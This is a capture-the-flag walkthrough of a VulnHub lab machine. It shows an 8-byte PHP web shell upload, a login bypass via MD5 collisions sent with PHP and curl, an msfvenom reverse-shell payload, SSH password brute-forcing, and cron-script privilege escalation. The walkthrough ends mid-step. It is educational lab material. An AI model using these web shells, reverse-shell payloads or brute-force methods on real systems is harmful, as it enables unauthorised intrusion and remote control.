This is a walkthrough on the CTF written by Min Ko Ko (Creatigon, l33twebhacker) and posted on vulnhub on 6 Dec 2017
Target: 10.1.13.37 Like the author states, This challenge is not for beginners. It requires advanced knowledge in several fields which a beginner would not be able to solve unless thorough research is done. Initial hint: The user agent that needs to be set is included on the front page, but you would not be able to see it in plaintext. Hint on step 2: Research on the shortest way to execute a command via the php parser. With the right terms, you should get a twitter post as a first result on google. Hint on step 3: Research md5 collisions and how to generate some pairs. You do not need to completely understand the methodology. There are tools for generating md5 collisions. Remember that there aren’t any known preimage attacks on md5 so you will need to figure out how to pass values as a binary data through php. Be sure to check out my post on md5 collisions and the way php interprets types (php hash collisions)* * to avoid giving a misleading advise, note that the answer is not actually in php collisions themselves Hint on Privilege Escalation: You’ll have to go through 2 steps for this. And you may need to be very patient on one of them.Initial step: Getting a starting point
Personally I’ve been staring for days on all the possible wrong places, like looking at the source code and trying to figure out what the message in the robots.txt file means: A rockyou mention immediately rings a bell that there should be some cracking / brute forcing involved, however at this point the target does not provide us with a username. There isn’t anything special in the source code except this: And the browser’s user agent showing at some part on the web page: Initially I decided that there’s some kind of User agent LFI attack involved into this and I really dedicated into it, which proved meaningless. I also tried to look for anything different into the images and videoclips. Even opened the favico file. It contained a text which can’t be easily read so I had to contact the author for a hint. Most of the walkthroughs that have already been published on this CTF show the text on the favicon is just read by opening the image. The author’s solution was smarter – you put the favicon on google images and make a search by its contents to find similar data(called either a reverse image search: From this point, the user agent can be either spoofed using a browser user agent switcher module or just by passing it through curl:Step 2: Bypassing limitations
The myuploader_priv folder contains a file upload form which has a byte length restriction: After some tests it can be seen that the file upload limit is 8 bytes. I spent a few more days on this looking at the wrong place, again. I researched and tried all OWASP and some articles on SANS stuff related to bypassing form upload restrictions trying to manipulate the MAX_FILE_SIZE header. Luckily enough there was a twitter post by @brutelogic titled Shortest PHP Web Shell which immediately made me connecting the dots. Using the technique from this post related to executing a command via the php interpreter without having to include an echo construction, along with the 8-byte restriction, results in executing a 2-letter command. There’s one more trick here: You do not need a closing tag for valid syntax in php. The solution for this step is uploading a file containing the following code:<?=`ls`;An 8-byte file containing valid php source code, listing the directory contents of the directory where the uploaded files are stored: The directory listing shows an additional file: And the 887beed152a3e8f946857bade267bb19d159ef59.txt
Step 3: Now you got a challenge (md5 collisions)
The form located at http://10.1.13.37/d5fa314e8577e3a7b8534a014b4dcb221de823ad/ takes 3 POST form parameters and has a link at the top allowing to download a backup of the index.php file itself, which contains the following code:< ?php session_start(); error_reporting(0); if (@$_POST['username'] and @$_POST['password'] and @$_POST['code']) { $username = (string)$_POST['username']; $password = (string)$_POST['password']; $code = (string)$_POST['code']; if (($username == $password ) or ($username == $code) or ($password == $code)) { echo 'Your input can not be the same.'; } else if ((md5($username) === md5($password) ) and (md5($password) === md5($code)) ) { $_SESSION["secret"] = '133720'; header('Location: admin.php'); exit(); } else { echo "<pre> Invalid password</pre>"; } } ?>The authentication mechanism of the form is to check the md5 hashes of the three provided values, compare them and return a valid session in case the hashes are identical. The trick here is that you can’t just pass equal values on the form and get the same md5 hashes as there is a pre-check that validates the input and requires the values of the fields to be different. As the variables are cast php type juggling won’t work in here, for more information what php type juggling is refer to my post on md5 collisions and the way php interprets types (php hash collisions) So what we need here is to either steal someone else’s session or generate real md5 collisions. As I researched preimage attacks and md5 collisions and since preimage attacks are not currently feasible, and the script requires an md5 string to be passed to it I decided that the solution most likely lies in a session hijack. The 133720 string also seemed to me suspicious and splitting it into 2 pairs it might look like a timestamp – 13:37:20. So my theory was an admin would log in to the system at this time so his session ID could be sniffed and passed to the browser. However I was wrong. I left this step as I felt really stuck on this and went on other stuff to do until @kartone pointed me to a resource who has been given to him as an advise on solving this. The solution is to generate md5 collisions using a collision generator like Python MD5 Collision Library by Stephen Halmor hashclash by Marc Stevens to generate a pair of collisions and attach them to the POST query as binary data. This can either be done on any programming language by sending a POST query to the server or just by using curl from the command line. During my tests I did it at first just by using a simple php script which reads three different files that collide, however as I got curious about how this can be done through the command-line curl I reproduced it using it at a later stage. Now how do we pass this to the web server? (there are many other ways which are already described on other walkthroughs. My observation is most people have used burp. I’ll propose the ways I did and what’s my personal preference): Way #1: PHP Script (command line and via browser):
<? php $pfields = array(); for ($i = 0; $i < 3; $i++) { $f = "/tmp/python-md5-collision/out_test_00" . $i . ".txt"; $fp = fopen($f, "r"); $arr[$i] = fread($fp, filesize($f)); } $pfields['username'] = $arr[0]; $pfields['password'] = $arr[1]; $pfields['code'] = $arr[2]; $pfields['remember'] = '1'; $pfields['login'] = 'Login'; $ch = curl_init("http://10.1.13.37/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php"); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($pfields)); curl_setopt($ch, CURLOPT_HEADER, 1); curl_exec($ch);Way #2: curl (command-line):
curl --data-urlencode username@/tmp/python-md5-collision/out_test_001.txt --data-urlencode password@/tmp/python-md5-collision/out_test_002.txt --data-urlencode code@/tmp/python-md5-collision/out_test_003.txt --data-urlencode "remember=1&login=Login" http://10.1.13.37/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php -iFor more information on the above syntax look at the curl HTTP Post documentation From this point we need to hijack our own session with ID r7m32qe6g8t22j4dq5urb8ekc0 The screenshot shows changing the session ID using EditThisCookie in Chrome for that. Cookie Manager+ in firefox would work fine as well. And after the session ID has been altered, upon opening the admin.php file a private terminal allowing to execute commands should be provided: Getting a persistent shell on this box through nc is not a good idea per my experience as it is not stable may be due to the target’s firewall configuration, however generating a payload via msfvenom is fine:
msfvenom -a x86 -p linux/x86/shell_reverse_tcp LHOST=10.1.13.237 LPORT=443 -e x86/shikata_ga_nai -b '\x00' -f elf > pshell.bin
Privilege Escalation
The target is running an x64 kernel and there isn’t much useful stuff for the 32-bit version of this kernel nor I could enumerate any vulnerable packages installed. It lacks the gcc compiler so any exploit you try should be compiled statically or in a replicated environment. The enumeration however discloses some useful information, specifically a user named “downfall” with a hint left in a file named todo.txt within the user’s home directory: I actually discovered the file described in the next step in a different way, however I thought to myself what would be a more direct way to locate it. What we are looking for a python script with insecure file permissions belonging to the downfall group, or a script where the owner is root and the file is of a different group. I already included both of these in the Privilege Escalation section of my cheatsheet:find / -type f -user root -group downfall 2>/dev/nullThe above screenshot shows that the user downfall (belonging to the downfall group) has write privileges to this file. The files’ contents suggest that this may be a script called via a cron job, and the chances of it being run as root are high. Connecting the dots from previous enumeration, specifically the contents of the robots.txt file (remember rockyou), and now having a username means that we might have to use the rockyou.txt wordlist on the user downfall and try to brute force the password. Brute-forcing ssh remotely is a painful process and does require some patience. I got so sick of it that I run several instances, splitting the wordlist by different criterias, and even wrote a multithreaded python script (which I’ll publish later) to brute-force it locally using another instance so that I could run both my remote session and the local session simultaneously using different parts of the wordlists. I separated the wordlist into several different parts, and the /etc/login.defs file didn’t define any minimum password length (which would have been helpful). Well, even though my python script was a total disaster regarding speed and hydra seemed to process remote requests much faster, it did discover a valid password: So the password for downfall is secretlyinlove. Before going further I want to point on a quick way to split/extract words from a wordlist between characters of a desired length:
grep -x '.\{8,16\}' rockyou.txt > rockyou_8to16.txt (get words of length from 8 to 16 characters)
grep -x '.\{14\}' rockyou.txt > rockyou_8to16.txt (get words of length min 14 characters)(not sure what kind of list actually used when discovering the password as it became a total mess of wordlists. But waiting hydra just to do its job would have just taken days. Eventually at some point, I did see the note left in the description from the author while waiting as I began to feel stuck on this – “If you got big stuck, Try with Password start with “sec*” with nice wordlist.) The user downfall was constantly receiving mail messages regarding a cron job on the file /lib/logs/homeless.py: Enumerating the mail messages further discloses that the cron job is run each minute: Reading a mail message from cron discloses that the script is actually called directly and is reporting errors due to the missing #!/usr/bin/python interpreter: As the script is called directly without the python binary we could easily override its contents to run a binary file with root privileges: